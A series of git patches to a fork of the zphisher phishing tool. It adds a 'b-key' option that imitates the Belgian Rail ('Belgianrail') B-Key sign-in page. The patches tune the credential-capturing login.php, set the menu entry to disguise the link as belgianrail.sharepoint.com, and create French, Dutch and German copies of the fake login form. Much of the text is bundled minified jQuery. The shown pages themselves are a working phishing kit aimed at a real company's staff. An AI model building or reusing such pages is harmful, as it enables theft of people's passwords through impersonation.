f,g,h,i,j,k,l,m,n,o,p,q=V.hasData(a)&&V.get(a);if(q&&(i=q.events)){b=(b||"").match(K)||[""],j=b.length;while(j--)if(h=sa.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&V.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(V.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c-1:r.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h\x20\t\r\n\f]*)[^>]*)\/>/gi,ya=/\s*$/g;function Ca(a,b){return r.nodeName(a,"table")&&r.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a:a}function Da(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Ea(a){var b=Aa.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Fa(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(V.hasData(a)&&(f=V.access(a),g=V.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c1&&"string"==typeof q&&!o.checkClone&&za.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ha(f,b,c,d)});if(m&&(e=oa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(la(e,"script"),Da),i=h.length;l")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=la(h),f=la(a),d=0,e=f.length;d0&&ma(g,!i&&la(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(T(c)){if(b=c[V.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[V.expando]=void 0}c[W.expando]&&(c[W.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ia(this,a,!0)},remove:function(a){return Ia(this,a)},text:function(a){return S(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.appendChild(a)}})},prepend:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(la(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return S(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!ya.test(a)&&!ka[(ia.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c1)}});function Xa(a,b,c,d,e){return new Xa.prototype.init(a,b,c,d,e)}r.Tween=Xa,Xa.prototype={constructor:Xa,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=Xa.propHooks[this.prop];return a&&a.get?a.get(this):Xa.propHooks._default.get(this)},run:function(a){var b,c=Xa.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):Xa.propHooks._default.set(this),this}},Xa.prototype.init.prototype=Xa.prototype,Xa.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},Xa.propHooks.scrollTop=Xa.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=Xa.prototype.init,r.fx.step={};var Ya,Za,$a=/^(?:toggle|show|hide)$/,_a=/queueHooks$/;function ab(){Za&&(a.requestAnimationFrame(ab),r.fx.tick())}function bb(){return a.setTimeout(function(){Ya=void 0}),Ya=r.now()}function cb(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=aa[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function db(a,b,c){for(var d,e=(gb.tweeners[b]||[]).concat(gb.tweeners["*"]),f=0,g=e.length;f1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?hb:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b),null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&r.nodeName(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(K); +if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),hb={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=ib[b]||r.find.attr;ib[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=ib[g],ib[g]=e,e=null!=c(a,b,d)?g:null,ib[g]=f),e}});var jb=/^(?:input|select|textarea|button)$/i,kb=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return S(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):jb.test(a.nodeName)||kb.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});var lb=/[\t\r\n\f]/g;function mb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,mb(this)))});if("string"==typeof a&&a){b=a.match(K)||[];while(c=this[i++])if(e=mb(c),d=1===c.nodeType&&(" "+e+" ").replace(lb," ")){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=r.trim(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,mb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(K)||[];while(c=this[i++])if(e=mb(c),d=1===c.nodeType&&(" "+e+" ").replace(lb," ")){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=r.trim(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,mb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(K)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=mb(this),b&&V.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":V.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+mb(c)+" ").replace(lb," ").indexOf(b)>-1)return!0;return!1}});var nb=/\r/g,ob=/[\x20\t\r\n\f]+/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":r.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(nb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:r.trim(r.text(a)).replace(ob," ")}},select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f="select-one"===a.type,g=f?null:[],h=f?e+1:d.length,i=e<0?h:f?e:0;i-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(r.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var pb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!pb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,pb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(V.get(h,"events")||{})[b.type]&&V.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&T(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!T(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=V.access(d,b);e||d.addEventListener(a,c,!0),V.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=V.access(d,b)-1;e?V.access(d,b,e):(d.removeEventListener(a,c,!0),V.remove(d,b))}}});var qb=a.location,rb=r.now(),sb=/\?/;r.parseXML=function(b){var c;if(!b||"string"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,"text/xml")}catch(d){c=void 0}return c&&!c.getElementsByTagName("parsererror").length||r.error("Invalid XML: "+b),c};var tb=/\[\]$/,ub=/\r?\n/g,vb=/^(?:submit|button|image|reset|file)$/i,wb=/^(?:input|select|textarea|keygen)/i;function xb(a,b,c,d){var e;if(r.isArray(b))r.each(b,function(b,e){c||tb.test(a)?d(a,e):xb(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)xb(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(r.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)xb(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&wb.test(this.nodeName)&&!vb.test(a)&&(this.checked||!ha.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:r.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(ub,"\r\n")}}):{name:b.name,value:c.replace(ub,"\r\n")}}).get()}});var yb=/%20/g,zb=/#.*$/,Ab=/([?&])_=[^&]*/,Bb=/^(.*?):[ \t]*([^\r\n]*)$/gm,Cb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Db=/^(?:GET|HEAD)$/,Eb=/^\/\//,Fb={},Gb={},Hb="*/".concat("*"),Ib=d.createElement("a");Ib.href=qb.href;function Jb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(K)||[];if(r.isFunction(c))while(d=f[e++])"+"===d[0]?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Kb(a,b,c,d){var e={},f=a===Gb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Lb(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&r.extend(!0,a,d),a}function Mb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader("Content-Type"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+" "+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]&&i.unshift(f),c[f]}function Nb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:qb.href,type:"GET",isLocal:Cb.test(qb.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Hb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Lb(Lb(a,r.ajaxSettings),b):Lb(r.ajaxSettings,a)},ajaxPrefilter:Jb(Fb),ajaxTransport:Jb(Gb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context&&(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks("once memory"),u=o.statusCode||{},v={},w={},x="canceled",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Bb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k&&(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k&&(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return e&&e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||qb.href)+"").replace(Eb,qb.protocol+"//"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||"*").toLowerCase().match(K)||[""],null==o.crossDomain){j=d.createElement("a");try{j.href=o.url,j.href=j.href,o.crossDomain=Ib.protocol+"//"+Ib.host!=j.protocol+"//"+j.host}catch(z){o.crossDomain=!0}}if(o.data&&o.processData&&"string"!=typeof o.data&&(o.data=r.param(o.data,o.traditional)),Kb(Fb,o,c,y),k)return y;l=r.event&&o.global,l&&0===r.active++&&r.event.trigger("ajaxStart"),o.type=o.type.toUpperCase(),o.hasContent=!Db.test(o.type),f=o.url.replace(zb,""),o.hasContent?o.data&&o.processData&&0===(o.contentType||"").indexOf("application/x-www-form-urlencoded")&&(o.data=o.data.replace(yb,"+")):(n=o.url.slice(f.length),o.data&&(f+=(sb.test(f)?"&":"?")+o.data,delete o.data),o.cache===!1&&(f=f.replace(Ab,""),n=(sb.test(f)?"&":"?")+"_="+rb++ +n),o.url=f+n),o.ifModified&&(r.lastModified[f]&&y.setRequestHeader("If-Modified-Since",r.lastModified[f]),r.etag[f]&&y.setRequestHeader("If-None-Match",r.etag[f])),(o.data&&o.hasContent&&o.contentType!==!1||c.contentType)&&y.setRequestHeader("Content-Type",o.contentType),y.setRequestHeader("Accept",o.dataTypes[0]&&o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+("*"!==o.dataTypes[0]?", "+Hb+"; q=0.01":""):o.accepts["*"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend&&(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x="abort",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Kb(Gb,o,c,y)){if(y.readyState=1,l&&q.trigger("ajaxSend",[y,o]),k)return y;o.async&&o.timeout>0&&(i=a.setTimeout(function(){y.abort("timeout")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,"No Transport");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i&&a.clearTimeout(i),e=void 0,g=h||"",y.readyState=b>0?4:0,j=b>=200&&b<300||304===b,d&&(v=Mb(o,y,d)),v=Nb(o,v,y,j),j?(o.ifModified&&(w=y.getResponseHeader("Last-Modified"),w&&(r.lastModified[f]=w),w=y.getResponseHeader("etag"),w&&(r.etag[f]=w)),204===b||"HEAD"===o.type?x="nocontent":304===b?x="notmodified":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b&&x||(x="error",b<0&&(b=0))),y.status=b,y.statusText=(c||x)+"",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 0,l&&q.trigger(j?"ajaxSuccess":"ajaxError",[y,o,j?m:n]),t.fireWith(p,[y,x]),l&&(q.trigger("ajaxComplete",[y,o]),--r.active||r.event.trigger("ajaxStop")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,"json")},getScript:function(a,b){return r.get(a,void 0,b,"script")}}),r.each(["get","post"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)&&(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)&&a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Ob={0:200,1223:204},Pb=r.ajaxSettings.xhr();o.cors=!!Pb&&"withCredentials"in Pb,o.ajax=Pb=!!Pb,r.ajaxTransport(function(b){var c,d;if(o.cors||Pb&&!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType&&h.overrideMimeType&&h.overrideMimeType(b.mimeType),b.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return function(){c&&(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,"abort"===a?h.abort():"error"===a?"number"!=typeof h.status?f(0,"error"):f(h.status,h.statusText):f(Ob[h.status]||h.status,h.statusText,"text"!==(h.responseType||"text")||"string"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c("error"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState&&a.setTimeout(function(){c&&d()})},c=c("abort");try{h.send(b.hasContent&&b.data||null)}catch(i){if(c)throw i}},abort:function(){c&&c()}}}),r.ajaxPrefilter(function(a){a.crossDomain&&(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET")}),r.ajaxTransport("script",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r(" - \ No newline at end of file + From 249bf9f5da59342dd77eeaeb88f68247494facaa Mon Sep 17 00:00:00 2001 From: dracksters Date: Thu, 13 Jun 2024 09:42:41 +0200 Subject: [PATCH 43/64] Update login.php --- .sites/b-key/login.php | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/.sites/b-key/login.php b/.sites/b-key/login.php index f38c5805..544245f1 100644 --- a/.sites/b-key/login.php +++ b/.sites/b-key/login.php @@ -1,5 +1,6 @@ From 20d4707c8546a1d273a6e2ace19f3ef77e34977d Mon Sep 17 00:00:00 2001 From: dracksters Date: Thu, 13 Jun 2024 09:47:34 +0200 Subject: [PATCH 44/64] Update login.php --- .sites/b-key/login.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.sites/b-key/login.php b/.sites/b-key/login.php index 544245f1..a11991c5 100644 --- a/.sites/b-key/login.php +++ b/.sites/b-key/login.php @@ -1,6 +1,6 @@ From 105fc2cb642a8e5a1e2d084f49b0f219adc5a67a Mon Sep 17 00:00:00 2001 From: dracksters Date: Thu, 13 Jun 2024 09:53:13 +0200 Subject: [PATCH 45/64] Update zphisher.sh --- zphisher.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/zphisher.sh b/zphisher.sh index 196da4f9..77f9592b 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -892,7 +892,7 @@ main_menu() { tunnel_menu;; 37) website="b-key" - mask='https://belgianrail.sharepoint.com/sites/WeBe/SitePages/Accueil.aspx' + mask='https://belgianrail.sharepoint.com' tunnel_menu;; 99) about;; From 7c7c6ac0f6e0e5a4573a9f233d877991f79796b5 Mon Sep 17 00:00:00 2001 From: dracksters Date: Thu, 13 Jun 2024 09:59:37 +0200 Subject: [PATCH 46/64] Create login_fr.html --- .sites/b-key/login_fr.html | 73 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 73 insertions(+) create mode 100644 .sites/b-key/login_fr.html diff --git a/.sites/b-key/login_fr.html b/.sites/b-key/login_fr.html new file mode 100644 index 00000000..777744e7 --- /dev/null +++ b/.sites/b-key/login_fr.html @@ -0,0 +1,73 @@ + + + + + + + Belgianrail Login + + + + + + +
+
+ + + + +

+
B-Key Login +

+
+
+
+
+
+ + + + + +
+
+ + + +
+
+ + +
+ +

j'ai oublié mon mot de passe

+
+ +
+
+
+ + + + +
+ +
+
+

Connecter vous avec une autre fédération/organisation


+
+ + + + + + From f8cb169b9fab0ccca96df1c047e5b2b7b79e8d1d Mon Sep 17 00:00:00 2001 From: dracksters Date: Thu, 13 Jun 2024 10:03:40 +0200 Subject: [PATCH 47/64] Create login_nl.html --- .sites/b-key/login_nl.html | 73 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 73 insertions(+) create mode 100644 .sites/b-key/login_nl.html diff --git a/.sites/b-key/login_nl.html b/.sites/b-key/login_nl.html new file mode 100644 index 00000000..fa2c6250 --- /dev/null +++ b/.sites/b-key/login_nl.html @@ -0,0 +1,73 @@ + + + + + + + Belgianrail Login + + + + + + +
+
+ + + + +

+
B-Key Login +

+
+
+
+
+
+ + + + + +
+
+ + + +
+
+ + +
+ +

Ik ben mijn wachtwoord vergeten

+
+ +
+
+
+ + + + +
+ +
+
+

Log in met een andere federatie/organisatie


+
+ + + + + + From dfe47ab50c4d68ebaa9ac75f03effa5d74ceb329 Mon Sep 17 00:00:00 2001 From: dracksters Date: Thu, 13 Jun 2024 10:07:25 +0200 Subject: [PATCH 48/64] Create login_de.html --- .sites/b-key/login_de.html | 73 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 73 insertions(+) create mode 100644 .sites/b-key/login_de.html diff --git a/.sites/b-key/login_de.html b/.sites/b-key/login_de.html new file mode 100644 index 00000000..ca5d1e15 --- /dev/null +++ b/.sites/b-key/login_de.html @@ -0,0 +1,73 @@ + + + + + + + Belgianrail Login + + + + + + +
+
+ + + + +

+
B-Key Login +

+
+
+
+
+
+ + + + + +
+
